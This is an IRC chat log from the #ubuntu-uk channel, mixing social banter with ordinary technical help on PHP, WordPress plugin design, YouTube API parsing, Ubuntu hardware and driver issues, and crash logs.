<penguin42> cake.jam=strawberry ?
<gordonjcp> cake.jam = bramble
<daubers> strawberry \o/
<penguin42> daubers: Yeh!
<daubers> coops finest :)
 * penguin42 wonders if cake[0] is the top or bottom cake - but I guess there could be wars about that
<dwatkins_> cake wars
<daubers> I love the smell of baking in the evening, smells like victory.
<penguin42> well, going to bed on a slice of victoria sponge with the smell of warm cake must make for nice dreams
<dwatkins> gooey dreams
<brobostigon> !info chromium-browser precise
<lubotu3> chromium-browser (source: chromium-browser): Chromium browser. In component universe, is optional. Version 17.0.963.56~r121963-0ubuntu3 (precise), package size 19705 kB, installed size 72030 kB (Only available for any all)
<ali1234> has anyone seen this 7 page article about raspberry pi in linux format?
<ali1234> i'm wondering how they stretched it out to 7 pages
<ali1234> i mean that's about 50% of the magazine
<Azelphur> because it's the raspberry pi, it should time travel and take every page of every linux format magazine ever.
<Azelphur> \o/
<jacobw> evening
<daubers> o/
<jacobw> how is precise right now?
<AlanBell> rather fine
 * jacobw checks schedule
 * daubers puts the kettle on, loads up episode one of BSG and get's his warhammer paints out
<penguin42> jacobw: Kprecise isn't too bad - chromium is being a bit touchy for me, other than that all good
<jacobw> kubuntu?
<jacobw> i've given up on kde after a few years of advocacy and a few more years of waiting for 4.x to reach the standard of 3.5
<jacobw> i don't care enough about gui things aren't web based anymore
<penguin42> jacobw: Yeh, I found I prefered current 4.x to the way Gnome was going
<jacobw> penguin42: i'm in the small cross section of people who like both unity and gnome3
<penguin42> each to our own hey
<jacobw> :)
<jacobw> things that run in the terminal or the browser > other things
<dogmatic69> adobe dropped linux for adobe air
<dogmatic69> they suck
<zleap> that means bbc iplayer may stop working,
<zleap> are they under some sort of pressure to do this
<brobostigon> bbc iplayer requires only flash that i know of, i dont have adobe air here, and iplayer works fine.
<zleap> ah
<zleap> why drop support for linux,  creating the software can't be that much different to creating the software for OSX
<brobostigon> both are in a way unix, but there are alot of differences.
<zleap> ok
<brobostigon> i would say, everything in osx above basic darwin is different, but i think they even adapt and change that.from the published OSS darwin.
<zleap> ok
<brobostigon> but they certainly used darwin as a basis, but everything above that, i would say is different.
<zleap> hmm,  they could reverse that policy if the raspberry PI takes off adn can use adobe air properly
<brobostigon> i dont think there is even the basic gnu toolset, in osx.
<zleap> ah
<zleap> its bsd based isn't it
<zleap> so not gpl license
<brobostigon> it must have dd though, as the basic osx haiku liveusb creation instructions mention dd being there.
<brobostigon> zleap: darwin is based on nextstep, therefore bsd, yes.
<zleap> ah,  nextstep being the front end
<brobostigon> in part, in darwin also,
<zleap> i need to read up on OSX for this computer group,  youth service place uses macs
<brobostigon> ah.
<dogmatic69> I thought the whole point of air was to be platform independent apps
<dogmatic69> so much for that
<zleap> yeah
<zleap> mind you won't html5 do away with all this flash stuff too
<dogmatic69> adobe and everything they make can just go jump off a cliff
<dogmatic69> flash is dead, html5 has replaced it
<zleap> exactly
<dogmatic69> air was slightly different, still bloated though
<Azelphur> I'm not that great at apache configs, can anyone take a look at this and tell me how I might move it to be on a subdomain? http://collabedit.com/d6u87
<Azelphur> like, instead of being active only on /munin, I want to put it on munin.azelphur.com
<shaneo1> Does anyone else have sound from their speakers when headphones are plugged in
<Azelphur> shaneo1: it's a "common" thing that happens, but it's hardware specific to fix it.
<shaneo1> I have realtek hardware built in my laptop,
<Azelphur> shaneo1: the only advice I can really give is google the hardware, see if you can find any answers on ubuntuforums or askubuntu, Upgrading alsa may also help
<shaneo1> I am running the latest alsa on 12.04
<Azelphur> did it happen on 11.10?
<shaneo1> no
<Azelphur> file a bug
<shaneo1> ok thanks
#ubuntu-uk 2012-02-26
<czajkowski> morning
<AlanBell> o/
<Myrtti> I feel so happy, I've got some Yorkshire tea again and I don't need to ration it or succumb to poor substitutes
<Myrtti> tea â¥
 * czajkowski feels like she has a hangover but wasn't drinks 
<czajkowski> *drinking
<czajkowski> so not fair
<daubers> Morning
<popey> uuhhhhhhhhhhh
<daubers> MORNING POPEY, HOW'S YOUR HEAD?
<popey> indeed
<brobostigon> good morning everyone.
<daubers> o/
<brobostigon> o/
<ali1234> i wish there was a way to write wordpress plugins in python...
<MartijnVdS> ali1234: well there's http://www.csh.rit.edu/~jon/projects/pip/
<MartijnVdS> """To that end, I've written a Python extension for PHP. In short, this extensions allows the Python interpretter to be embedded inside of PHP (think of PHP as the parent language with Python as its child). This allows native Python objects to be instantiated and manipulated from within PHP. There is also initial support for accessing PHP functions and data from within the embedded Python environment."""
<ali1234> heh awesome
<ali1234> probably a bit to much of a hack though
<MartijnVdS> ali1234: https://metacpan.org/module/Python + https://metacpan.org/module/PHP
<MartijnVdS> ali1234: Then you can use Perl as well!
<ali1234> nooooooo
<ali1234> http://nooooooooooooooo.com/
<MartijnVdS> http://tvtropes.org/pmwiki/pmwiki.php/Main/BigNo
<MartijnVdS> ali1234: http://wiki.theory.org/YourLanguageSucks
<ali1234> that's a quite comprehensive list
<ali1234> they missed out "java has no unsigned types"
<MartijnVdS> Who needs unsigned types anyway!
<gordonjcp> aha
<gordonjcp> I see a dichotomy
<gordonjcp> C constrains you to doing many tasks manually, for example, (...) manually specifying the type of your variables, etc. Modern languages offset this with type inference
<gordonjcp> okay, fair point, but
<gordonjcp> Python: as a dynamic language, there's no convenient way to statically check for misspelled variable names
<gordonjcp> which do you want?
<ali1234> i don't think all of that was written by one person :)
<gordonjcp> static typing that makes it easy to check for incorrectly-specified variables because you declare them at the start?
<gordonjcp> or duck typing
<gordonjcp> both suck, btw
<ali1234> lol
<gordonjcp> Python sucks
<gordonjcp> unfortunately, it's like a car engine
<gordonjcp> car engines suck
<gordonjcp> they're noisy, smelly, complicated and they run on dangerous fuel and emit toxic gases
<gordonjcp> they're also currently the best solution to the problem that they solve
<gordonjcp> the key here is that every possible alternative sucks just a little bit more in some crucial area
<ali1234> most languages have some thing that they are the "best" at doing that thing
<ali1234> except for perl
<MartijnVdS> Perl is supposed to best at processing text
<MartijnVdS> (files)
<daubers> Hmm... Mum and dads iMac has a dying LCD panel
<MartijnVdS> They didn't pray to St Steve enough? ;)
<daubers> It's one of the first white single panel jiggers
<MartijnVdS> the "light fixture" ones?
<MartijnVdS> http://en.wikipedia.org/wiki/File:IMac_G4_sunflower7.png
<daubers> Nah, one of these http://en.wikipedia.org/wiki/IMac_%28Intel-based%29#Polycarbonate_iMac
<MartijnVdS> Aww those aren't old yet are they?
<directhex> SMASH TEH ZOMBIEZ! INTO ATOMS!
<directhex> MartijnVdS: early 2006 is old, yes
<MartijnVdS> directhex: I've just revived a P4 from '02, works fine
<directhex> doesn't mean it isn't old
<MartijnVdS> doesn't mean it should break down :)
<directhex> plus, LCD panels have the old "CCFL backlights have a finite lifespam" issue
<MartijnVdS> true
<cliftonts> lifespam?
<MartijnVdS> cliftonts: Yes, a life of canned meat.
<cliftonts> the shorter the better. Spam is horrid!
<popey> Afternoon all.
<cliftonts> Afternoon popey
<jacobw> afternoon
<hamitron> hi jacobw
<hamitron> :)
<hamitron> heck it is warm *pants*
 * daubers puts the beefs in the oven
<popey> can someone reproduce bug  941464 on 12.04?
<lubotu3> Launchpad bug 941464 in shotwell (Ubuntu) "Flicker when importing photos" [Undecided,New] https://launchpad.net/bugs/941464
<ali1234> yes, but not nearly that bad
<ali1234> slow computer?
<jacobw> its oddly warm for february
<jacobw> like, 291 kelvin
<penguin42> do you often measure the temperature of your home in kelvin?
<penguin42> and more to the point, how low does your aircon go?
<jacobw> i don't how to get the unicode character for celsius, so i quoted kelvin
<MartijnVdS> Â°
<MartijnVdS> right-alt shift 0, space for me
<MartijnVdS> Ã¥ (right-alt shift 0, a)
<jacobw> Â°_Â°
<ali1234>  
<MartijnVdS> â â¡ â
<ali1234> that's put my keyboard into overwrite mode
<MartijnVdS> nah the characters are double-wide
<ali1234> oh NOT 0 on the numeric keypad Â°
<MartijnVdS> Matt Smith will be on Top Gear tonight
<MartijnVdS> (for all Doctor Who fans)
<brobostigon> :) \o/
<ali1234> hmm
<ali1234> i've got a question
<ali1234> i'm writing a voting system for wordpress
<MartijnVdS> another one?
<ali1234> yes
<ali1234> this one is different
<ali1234> it has to import a playlist from youtube, and each video is one of the possible things you can vote on
<MartijnVdS> ooh the joys of the gdata apis
<ali1234> yeah
<ali1234> anyway i've got that importing part done
<ali1234> now i need some tables to store the imported playlists
<MartijnVdS> IKEA.
<ali1234> so my question is that
<ali1234> what names to use for the tables?
<MartijnVdS> I'd store votes keyed on the youtube playlist id + video id (so a video can be used in multiple playlists)
<ali1234> yes i'm going to
<ali1234> but i can't call the top table "playlists" because playlists are the things on youtube
<MartijnVdS> "playlists", "playlist_videos", "video_votes"?
<ali1234> when i suck a playlist into the DB, i want to call it something else in the code
<MartijnVdS> yt_playlists
<ali1234> so "playlists" needs a better name
<MartijnVdS> roster? ballot?
<ali1234> but i can't call it "votes" because that clashes with the votes per video table
<ali1234> ah yes those are good. just what i was looking for, thanks
<MartijnVdS> and "ballot-items"? (a bit weird, but understandable)
<ali1234> well it's only videos, so that one can just be called videos
<ali1234> there won't be any funtions for dealing with individual videos on youtube, only locally
<ali1234> but in the admin page there will be a list of importable playlists, and a list of playlists already imported
<ali1234> so i wanted a different name to make that clearer that they were different
<ali1234> when i've got this done i have to figure out how to enable facebook and youtube logins :(
<ali1234> hmm is it possible to do a switcheroo on youtube videos?
<ali1234> like you upload an innocuous video, wait for someone to embed it, then swap it for something foul
<ali1234> i'm guess you wouldn't be able to get the same video ID
<popey> unlikely
<ali1234> could probably do something with the video description and maybe annotations
<ali1234> i'll be sure to take a copy of the former and disable the latter :)
<penguin42> ali1234: Hmm on a similar theme I wonder if it's possible to design a video that looks very different at different resolution levels
<ali1234> like they do with gifs?
<ali1234> encoding might ruin the effect, should be possible with lossless formats though
<czajkowski> and home
<AlanBell> yay
<AlanBell> that was a nice afternoon :)
<czajkowski> yup just in
<czajkowski> train dealys but a lovely day
<mattt> yeah, very good day out
<czajkowski> mattt: were you at the game?
<mattt> yah, our tickets never arrived but luckily they sorted it out at the ticket office
<mattt> another loss for the irish tho :(
<DJones> AlanBell: Did you wear the hat?
<AlanBell> I did
<DJones> Excellent
<czajkowski> mattt: so close
<davmor2> Hello all
<moreati> davmor2: yo
<davmor2> moreati hey dude hows life
<moreati> can't complain, coughing much less
<daftykins> \o/
<opt1mus> o/
<jacobw> anyone know how to convert an nk2 file to csv without using windows?
<jacobw> there's a few freeware windows programs available that don't run in wine
<jacobw> nk2 is outlook autocomplete
<daftykins> hrmm
<daftykins> i know the little blighter well from supporting Outlook
<daftykins> iirc addresses are readable in it right?
<jacobw> this is just a social task thank goodness
<daftykins> ah
<daftykins> i'm running 'dows if you would like me to run it
<jacobw> nope, binary
<daftykins> huh?
<daftykins> oic
<daftykins> could've sworn i slapped it in Wordpad at some point and read addresses ;D
<ali1234> if you send me the nk2 i'll figure it out :)
<ali1234> or use this http://code.google.com/p/debunk2/wiki/fileformat
<jacobw> aah, that's useful
<jacobw> hmm py < 2.5
<ali1234> nk2parser.py looks like it should be ok
<ali1234> just skip the gui
<Azelphur> anyone here any good at munin?
<Azelphur> munin plugins, specifically
<ali1234> youtube gdata api sucks :(
<jacobw> how so?
<ali1234> they can't decide if they are using camelcase or not
<ali1234> spent 10 minutes debugging, noticed this element is all lower case for no reason
<jacobw> hehe
<ali1234> playlistId vs videoid
<jacobw> :|
<jacobw> annoying
<daftykins> ;/
<ali1234> extremely
<daftykins> consistency fail
<ali1234> i fully expect to find commentID or something as well
<ali1234> or maybe CommentID
<ali1234> luckily i don't care about comments
<ali1234> also, they nest namespaces inside namespace to make it as annoying as possible
<ali1234> it takes 3 lines of PHP just to get the videoid
<ali1234> i need to check that every video is embeddable as well
 * daubers ponders spending an hour understanding AVR
<StevenR> daubers: Automatic Voltage Regulation?
<penguin42> the things that aren't PICs
<daubers> StevenR: Atmel chips
<daubers> Working with embedded C is seemingly a lot more complex than normal c
 * penguin42 only did a few instructions of ASM on an AVR before getting bored
<StevenR> daubers: aww. Safer though.
<penguin42> daubers: In what way? Generally the things are you haven't got much in the way of libraries to play with and there may be rules on what you're allowed to write where
<daubers> penguin42: Yup, those ways generally :) You're also forced to do masking stuff sometimes
<penguin42> masking stuff - where?
<daubers> Reading pin values and setting pin modes
<penguin42> nod
<daubers> Probably get used to it after a while, it's a bit of a logical stumbling block for me at the moment
<daubers> Really need to buy a programmer and built a little test board
<ali1234> embedded C more complex?
<daubers> maybe complex is the wrong term
<ali1234> tbh, don't bother
<daubers> less intuitive maybe :)
<ali1234> just use assembler for most things
<penguin42> daubers: http://www.treblig.org/beebavr.html   :-)
<penguin42> heck that was a while ago
<ali1234> can i nest classes in php?
<ali1234> boo, php sucks
<ali1234> i'm going to just make classes for everything that do everything
<ali1234> i don't care if it makes it slow
<mgdm> I don't know any language in which you can nest classes (apart from that anonymous inner inanity in java)
<ali1234> yeah that's exactly what i wanted lol
<ali1234> a class that's only valid to be used inside another class
<mgdm> you can nest functions, for reasons I've never quite understood
<ali1234> i'm pretty sure python can do it, could be wrong
<ali1234> yeah nested functions are the best
<ali1234> https://github.com/ali1234/vhs-teletext/blob/master/vbi.py#L88 is why nested functions
<ali1234> _inner has no use at all outside that function
<ali1234> it only exists to be supplied to fminbound, which needs a function to call over and over to optimize the result
<ali1234> i could have used a lambda, except in python lambdas can only be expressions
<ali1234> but even apart from that it would still make the code a mess
<ali1234> anyhooo....
<mgdm> you get lambdas/closures in PHP now
<mgdm> I've not yet had cause to use one except for playing, though
<daftykins> fasthosts are a bit cheeky, they ask you pay Â£5 per domain to hide the registration info of them
<ali1234> what's the python equivalent of myarray = [Foo(x) for x in y]
<ali1234> (trolololo)
<ali1234> er, i mean php :)
<mgdm> heh
<mgdm> there aren't generators, yet :)
<ali1234> i am so spoiled by python
<jacobw> python is amazing
<mgdm> though you could maybe do array_map(function($x) { ... }, $y); which is about as close as you'd get
<ali1234> can i do new MyClass($x) instead of a function?
<ali1234> or do i have to make a factory to do that?
<mgdm> probably not, the first argument is a callback
<mgdm> http://uk3.php.net/manual/en/language.pseudo-types.php#language.types.callback
<mgdm> although! there might be a way, using this insane magic method thing
<ali1234> http://soup.johl.io/post/228737228/I-had-a-problem-so-I-thought
<ali1234> i'm getting close to trashing this code and just writing some python that injects everything directly into wordpress database from the command line
<ali1234> then just shell it from a BFB in the admin panel
<mgdm> there was going to be an __invoke magic method but i'm not sure if it got added or not
<ali1234> hmm
<ali1234> maybe i could write a python script that fetches the gdata, turns it into json, and then load that into php
<ali1234> php is fairly good at json, right?
<mgdm> what is it you're doing?
<gordonjcp> <3 libsndfile
<mgdm> and yeah, json_decode works for the most part
<ali1234> mgdm: i am writing a video vote plugin for wordpress. yes, another one
<mgdm> heh
<ali1234> it has to fetch the playlists owned made by a user
<ali1234> then check that all the videos are embeddable
<ali1234> then in the admin panel you pick one
<ali1234> then the users of the site vote for the "best" video out of that list
<ali1234> so it has to parse youtube gdata xml
<ali1234> verify it all
<ali1234> stick it in a database
<ali1234> and then after that's all done, the rest is relatively easy
<gordonjcp> ali1234: seems like a lot of hard work
<mgdm> I did a pile of that sort of thing at work, but used simpleXML for basically all of it
<ali1234> yeah, i;m using simpleXML. it totally sucks
<mgdm> heh
<gordonjcp> since no matter what gets voted the site admins are going to put the one they want in
<gordonjcp> why not just fake it?
<ali1234> gordonjcp: lol i told them they should just pick themselves but no
<ali1234> apparently they have some principles or something
<gordonjcp> http://www.thedailymash.co.uk/animals/animals-headlines/blue-peter-viewers-wanted-to-name-cat-%27pisswizard%27-20070921414/
<gordonjcp> comme ca
<jacobw> lol @ principals or something
<ali1234> so i think i'm going to do that
<ali1234> just make a couple of python scripts to fetch the gdata, decimate it, and output json
<ali1234> then i don't have to write hundreds and hundreds of pages of php code to parse this junk to get the one or two lines i actually care about
<AlanBell> DJones: https://plus.google.com/109175303602657131317/posts/TvSCAupXmfL the hat
<DJones> \o/ nice one
<DJones> AlanBell: http://a1.sphotos.ak.fbcdn.net/hphotos-ak-snc7/418657_10151234586535532_639205531_22732896_557897907_n.jpg
<AlanBell> \o/
<popey> is that  you DJones ?
<DJones> The one with the hat, Yep
<DJones> (Just narrowing down the chance you thought I was the one with the headscarf)
<popey> heh
<popey> wow, you don't look like the image I had in my head.
<popey> this is a good thing
<DJones> Heh
<czajkowski> aye I thought you were some 20 something kid on here
<DJones> Nah, I'm probably the 2nd oldest in the channel behind theopensourcer
<mattt> DJones: nice hat
<DJones> mattt: Thanks, had it or one similar for 25 years
<mattt> DJones: wow, you don't look THAT old :D
<DJones> But I do feel that old & more
<brobostigon> i would like a hat, similer to the one, tom baker used to wear as dr who.
<mattt> DJones: sounds like you need to drink more whiskey
<DJones> Maybe have shot in between the southern comfort & jack daniels
<mattt> :)
<daftykins> DJones: very Indiana Jones there sir
<DJones> daftykins: Its not often you can go to a fancy dress party & wear your normal clothes
<daftykins> XD
<DJones> Probably more Mick Dundee than Indiana though, thats where I started wearing the hats
<daftykins> :)
<bigcalm_lappy> Ello peeps :)
<daftykins> heya
<daftykins> not sure i look good in any hat, i'd love to try a 50s type though :>
<bigcalm_lappy> 3 days without cable internet is becoming a bore
<daftykins> is your service down?
<bigcalm_lappy> daftykins: went down at 8.20am on Friday. I think the engineers looked at it Friday afternoon then decided to take the weekend off
<DJones> daftykins: I used to wear one like this for college http://ecx.images-amazon.com/images/I/41%2BENAb0BXL._SX342_.jpg
<daftykins> is it virgin media?
<bigcalm_lappy> VM are the only cable company left in the UK
<bigcalm_lappy> (yes)
<daftykins> i think there's an isle of wight one actually :D but ok!
<daftykins> is the 'modem' failing to sync?
<bigcalm_lappy> Heh
<daftykins> i was over at a friends in Brighton when theirs went down once, apparently the engineer went to the box outside the house on the wall and disconnected the coax connections, dusted them off with a paintbrush then reconnected
<jacobw> lol
<mgdm> IIRC there's KCOM in Hull as well, ut they might only do DSL
<daftykins> (their modem sync light was constantly flashing)
<daftykins> ever since then i've considered that as a course of action if i see a VM service going quirky :D
<bigcalm_lappy> mgdm: I think they only have DSL in Hull
<jacobw> iirc Kingston don't do cable
<jacobw> Kingston == KCOM me hinks
<jacobw> +t
<mgdm> Yeah, they rebranded
<bigcalm_lappy> daftykins: Calling the support line gives me a recorded message saying the whole of my region is affected
<daftykins> ah
<daftykins> well you could paintbrush the whole region i guess..
<daftykins> :)
<ali1234> yay
<ali1234> does php have something like python's "if __name__ == '__main__'"
<mgdm> not really
<ali1234> i have to put my test code in a different file?
<ali1234> well, i finally got xpath and array_map to behave
<mgdm> well, is it always going to be run from the cLi?
<mgdm> or will it run live from a webserver and be tested from CLI?
<ali1234> no, only when i'm testing it
<ali1234> yeah, that
<mgdm> if (php_sapi_name() == 'cli')
<mgdm> might work
<ali1234> also, why does it complain about Use of undefined constant parse_video - assumed 'parse_video' in ...
<ali1234> when i passed it to array_map...
<mgdm> unquoted string, at a giuess
<ali1234> oh, callback should be quoted?
<mgdm> callbacks in PHP are poassed as strings, they're not just bare function references
<mgdm> (sadly)
<ali1234> blah
<ali1234> but it still works anyway, just prints an annoying warning
<mgdm> well, they're strings except when they're arrays of strings, and except when they're closures
<mgdm> *ahem*
<ali1234> i've seen array($object, "function_name") used, now i think about it
<mgdm> aye
<ali1234> which is pretty bad
 * bigcalm_lappy throws an exception at mgdm
 * mgdm catches it and retrhows it back at bigcalm_lappy 
 * bigcalm_lappy die()s
<ali1234> raise is so much more civilized
 * bigcalm_lappy has a horrible feeling of dejavu
<ali1234> ok, i finally managed to write some php code that i am relatively happy with
<ali1234> tomorrow i rewrite my plugin code to use it :)
<bigcalm_lappy> ali1234: does it call a python script?
<ali1234> no, i decided to not let PHP beat me
<bigcalm_lappy> :)
<bigcalm_lappy> mgdm: native web server in php 5.4. Who thought that would be a good idea?
<mgdm> bigcalm_lappy: same as WEBrick in Ruby, or whatever
<mgdm> bigcalm_lappy: NOT FOR PRODUCTION USE
<ali1234> why does print True; print "1"?
<bigcalm_lappy> mgdm: So they say, bet some nutters will be lazy enough though
<bigcalm_lappy> echo var_dump(TRUE);
<mgdm> ali1234: casting true to a string gives you '1';
<ali1234> how is that ever useful?
<bigcalm_lappy> mgdm: was that ; a muscle memory?
<mgdm> but false is empty string!
<mgdm> who knows
<mgdm> bigcalm_lappy: pretty much
<mgdm> I know the language is insane, but I make money from using it, so meh
<bigcalm_lappy> Same here
<bigcalm_lappy> Yay money
<bigcalm_lappy> Would it be wrong to use cURL to post some data from within a Symfony project? I haven't yet seen a native method for doing the same
<ali1234> how do i forcibly cast an object to a string?
<ali1234> strval()?
<mgdm> depends what you expect the result to be
<mgdm> if your object has a __toString() method, you can do (string) $obj and get back whatever that does
<ali1234> i'm getting [id] => SimpleXMLElement Object (   [0] => 1hXDDGm27rE ) and i want [id] => 1hXDDGm27rE
<mgdm> Oh, just (string) $obj
<ali1234> excellent :)
<mgdm> next time I do Python I'll probably be in asking stupid questions; turn about is fair play, etc ;-)
<mgdm> (not that you're asking stupid questions :p0
<Azelphur> I'm playing PHP too atm :D
<Azelphur> making a munin plugin \o/
<mgdm> I didn't know munin was PHP
<Azelphur> mgdm: it's not, it'll run anything from the command line
 * gordonjcp is playing with C, libjack, libsamplerate and libortp
<mgdm> Azelphur: ah
<Azelphur> Using PHP because I depend on PHP libraries though
<gordonjcp> and wireshark, and tcpreplay, and indeed tcprewrite
<Azelphur> hehe
<mgdm> gordonjcp: what are you doing? That's cooler than what I'm u pto
<Azelphur> indeed
<gordonjcp> mgdm: something distinctly suspect
<gordonjcp> possibly related to a week-long course on RoIP I went on earlier
<mgdm> ah ha :D
<mgdm> sounds intriguing
<gordonjcp> and a lack of inclination to fork out 8 grand for a Radio-over-IP server
<ali1234> related to GPS thingy from last week?
<gordonjcp> not entirely
<mgdm> gordonjcp: are you going to that thing on march th e8th?
<gordonjcp> mgdm: the NXP thing?
<mgdm> aye
<gordonjcp> yes, if they ever tell me where it is
<mgdm> i registered, but it occurs to me I have nfI where it is, or when
<mgdm> ah, not just me, then
<mgdm> bah
 * mgdm really needs to learn puppet or chef or something and set up a new server build
<mgdm> and then replace that box that i just killed
<daftykins> mgdm: murderer!
<directhex> moo
<ali1234> DJones: unity crashed so i started up gnome-panel
<ali1234> this isn't the gnome-shell fallback thing
<ali1234> it's real gnome-panel
<ali1234> well, sort of
<ali1234> it supports panels on all monitors and you can move them around
<ali1234> yeah... so new gnome classic is actually pretty good
<ali1234> just needs some work on the theme side to make it look a bit less rough
<ali1234> all the functionality is there though
<ali1234> hmm all my compiz settings have been reset
<ali1234> no more zoom or grid
<ali1234> in fact no keyboard shortcuts work at all
#ubuntu-uk 2013-02-18
<FelixTheCat> i am trying to install ubuntu on my old laptop however when i boot the installer it goes into a busybox prompt
<FelixTheCat> whats going on with it?
<popey> Morning!
<AlanBell> morning
<Myrtti> oooo bacon http://www.ikea.com/gb/en/catalog/products/90185754/
<JamesTait> Good morning all! :-D
<czajkowski> aloha
<directhex> Myrtti, no, not ooh. they phased out the venerable KLAPPAR series to bring in cuddly breakfasts and broccoli!
<bigcalm> Good morning peeps :)
<Myrtti> baconbaconbacon
<bigcalm> directhex: I gave in. Nuked the HDD, set the bios to legacy, reinstalled windows, added an ssd and installed ubuntu. Otherwise I spent far too long getting a work machine working
<bigcalm> BACON!
<directhex> tasty 8086 boot!
<bigcalm> It works :)
<popey> \o/
<bigcalm> Indeed
<bigcalm> I'm still using the free nvidia driver. I fear that my set-up will die if I try to use the binary driver
<bigcalm> Or that I'll no longer have my usable 3 monitor set-up as retweeted and faved by far too many people yesterday :)
<popey> surprised the free driver lets you do 3 monitors
<bigcalm> As am I
<bigcalm> I'm more surprised that it let me rotate one of them
<mungbean_> i've been nervous about breakage with nvidia driver as when i moved to a more powerful system i've experienced more lockups etc
<bigcalm> I still have a spare HDMI port from the onboard intel gfx. Keep telling myself that I don't need to use it
<mungbean_> pretty sure it's chrome though
<bigcalm> compiz is the bane of my existence right now
<mungbean_> left my old core2duo running in my old office. used it the other day for first time in many months...worked nice and fast still (no reboots or anything inthe mean time)
<mungbean_> i've changed DE many times in the hope that the DE was the problem
<bigcalm> mungbean_: glad that you've changed the DE and not the whole distro
<directhex> not every generation of intel can drive >2 monitors
<popey> ]yeah, my x220 cant
<mungbean_> often my i/o goes crazy and disk light permanently on - either it's a rogue process swapping mem like crazy or i/o like crazy. consdering i forgot to enable swap for a while , i figure it's probably the latter
<ali1234> i/o problems
<ali1234> :(
<mungbean_> bigcalm: yo could argue i'm on a different distro now, cos i'musing elementary (uses ubuntu base)
<mungbean_> ali1234: due to chrome i think though. i regularly have 30-50 tabs open.
<ali1234> i found the i/o freezing bug is not caused by usb... saw it happen on main hard drive yesterday
<ali1234> bitcoin will trigger it when downloading blocks
<mungbean_> after 15 mins i manage to get into ctrl-alt-f1 and kill off chrome
<ali1234> i think it is the reason why TF2 takes about 5 minutes to connect to a server as well
<mungbean_> by then it's usually recovered though
<mungbean_> however my old pc running 10.04 doesn't seem to have that problem
<mungbean_> and i've tried various new pcs since then with new distros - just unsure if my use case is now different
<mungbean_> i'm accessing more heavy websites now
<ali1234> i'm pretty sure it is something to do with the way ubuntu kernel is configured
<mungbean_> used to only be windows that would be unresponsive when you unlock your screen after the weekend :(
<ali1234> i have 16GB ram... so it's not caused by swapping
<ali1234> although swapping can cause it, it can also happen when i have plenty of free ram
<popey> yeah, 8GB RAM here, not swapping that causes it here either
<popey> tried changing which io scheduler is used?
<ali1234> no, but i could give it a go
<ali1234> pretty easy to reproduce it with bitcoin
<mungbean_> my birth certificate got stolen in a burglary at mums house at the weekend - any advice?
<mungbean_> they only took the meal box with birth certs and title deeds etc
<ali1234> just run it, and watch the computer freeze for 5 seconds, then fine for 10 seconds, then freeze for 5 seconds... etc
<popey> hmm, i haven't had that ali1234
<popey> the official client in the repo, yes?
<popey> "official"
<ali1234> my bitcoin was a couple of thousand blocks behind the main chain
<ali1234> while catching up, it did this
<popey> yeah, mine was too recentlyt
<ali1234> if you start from scratch, it may not do it until the DB grows huge
<ali1234> and yeah, repo client
<ali1234> the new 0.8 series is supposed to have much lighter db functions
<ali1234> but that's still beta
<popey> mine is 3K behind
<ali1234> that's not much but should be enough, i mean as soon as mine starts getting many blocks, it kills the computer
<popey> ~80% CPU, 12% io, 60% ni
<popey> disk light always on
<popey> SSD though
<ali1234> yes, verifying the blocks does use CPU, but i have quad core and i don't think it is multithreaded
<ali1234> so typical problem: high i/o + 1 cpu bound thread = total system freezes
<popey> cpu at 85 degrees now
<popey> fan going nuts
<AlanBell> popey: stripe wants me to be a yank :(
<popey> AlanBell: thats why i suggested the other two which I think are frontends to stripe but non-US-only
<andylockran> mungbean: call teh police?
<andylockran> anyone have recommendations for budget shared hosting.  Client can't afford managed server, but is too technically incompetent to run a VPS.
<ali1234> 1and1 is the cheapest that is actually a real company
<ali1234> service ranges from acceptable to awful
<ali1234> though it does depend which product you bought
<directhex> google apps
<directhex> if they can't afford a sysadmin or a real server, shove them in the cloud fo realz so they're someone else's problem
<mungbean> andylockran: my mum did tell the police, was taken from her house
<mungbean> i heard there is a CIFAS org where you pay Â£20 a year for the privilegge :S
<ali1234> the police took your mum from her house?
<redtape-renegade> Morning, be.latedly \o/
<redtape-renegade> Pg 35 of the Idependant 'I' is about "10 BEST .. statement earings... " today | Very www.farfetch.com âº
<andylockran> directhex: yeah, I'm going down that route
<bigcalm> Yay compiz crash and restart. Not at all annoying
<popey> did it offer to send a bug report?
<bigcalm> popey: no. So maybe wasn't a crash
<popey> what happened?
<bigcalm> It did mess up my workspaces though
<bigcalm> popey: screen freeze for about 10 seconds and then applications moved about on my workspaces so that I had a lot of windows on top of each other
<bigcalm> In the past this has included an offer to send a bug report
<brobostigon> morning everyone.
<popey> yeah, sounds like a unity or compiz crash
<popey> have a look in /var/crash, anything there?
<bigcalm> Spotify, compiz, nautilus, update-manager, Xorg and evolution
<bigcalm> Each one has a .crash .upload and .uploaded
<popey> most recent
<bigcalm> Nothing today
<popey> strange
<popey> I'd clear it all out
<DJones> Bloke at work got up this morning, started the company van parked outside his house & found it sounded like a tank, drove to work and opened the bonnet & found that somebody had disconnected the catalytic converter and exhaust and stolen them overnight, Â£2,500 to replace
<popey> yikes
<bigcalm> o.O
<DJones> Aparantly only held on with a couple of clips, 5 minutes work at most
<bigcalm> popey: ls -lht | pastebinit -> http://paste.ubuntu.com/1676533/
<bigcalm> popey: is /var/crash not cleared out by default?
<popey> no
<popey> well, might be, dunno, but I clear it out now and then for a fresh start
<bigcalm> Ok
<popey> hmmm. i have virtualbox on my desktop, VMs are on a 1TB spinning rust disk... when they update I can hear the disk rattling away
<popey> seems painfully slow
<popey> need to move them onto SSD
<popey> http://www.ebuyer.com/260707-ocz-240gb-vertex-3-ssd-vtx3-25sat3-240g looks nice
<popey> oh, thats the one in my X220
<popey> bigcalm: anything in dmesg or /var/log/Xorg.0.log ?
<directhex> i still feel a bit nervous about ocz ssds
<popey> wonder if the nouveau driver had a flip out
<popey> I have had no issues with the OCZ in my x220
<popey> not tried to firmware update it tho âº
<directhex> i think they fixed their terrible failure rates now, but their firmware update process still sucks
<directhex> surprised by how nice firmware updating is with kingston
<kvarley> What font does ubuntu use by default for apps?
<popey> Ubuntu
<popey> âº
<bigcalm> Ubuntu :)
<bigcalm> It's then up to the app to use something else (grr at phpstorm)
<kvarley> At what size and dpi?
<kvarley> Ah
<kvarley> I'd picked Ubuntu Light instead of regular
<kvarley> No wonder it looked weird
<bigcalm> Ubuntu mono for all things equally spaced :D
<bigcalm> popey: Xorg.0.log http://paste.ubuntu.com/1676613/         dmesg http://paste.ubuntu.com/1676614/
<popey> that doesnt look nice
<popey> bug 1116731
